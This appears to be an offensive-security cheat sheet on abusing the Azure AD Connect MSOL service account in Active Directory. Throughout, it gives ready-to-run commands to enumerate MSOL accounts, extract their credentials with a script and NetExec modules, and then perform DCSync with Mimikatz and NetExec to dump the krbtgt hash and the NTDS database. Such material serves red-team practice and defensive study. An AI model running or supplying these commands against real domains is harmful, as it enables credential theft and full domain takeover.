MSOL (Microsoft Online Services) account

Brute force

O365 Bruteforce

Enumerate the PHS account and server where AD Connect is installed.

# PowerView
Get-DomainUser -Identity "MSOL_*" -Domain domain.local

# AD module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server domain.local -Properties * | select SamAccountName,Description | fl

Extract MSOL credentials

.\adconnect.ps1

With the password

runas /user:domain.local\MSOL_16fb75d0227d /netonly cmd

DCSync

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local"'
DCSync

NXC

nxc ldap [IP] -u username -p password -M entra-id

Get MSOL Credentials

nxc smb 10.0.0.8 -u admin01 -p '<-SNIP->' --local-auth -M msol    

MSOL account can perform a DCSync because the MSOL account has the Replicate Directory Changes All permissions

nxc smb 10.0.0.4  -u MSOL_80541c18ebaa -p '<-SNIP->' --ntds

Last updated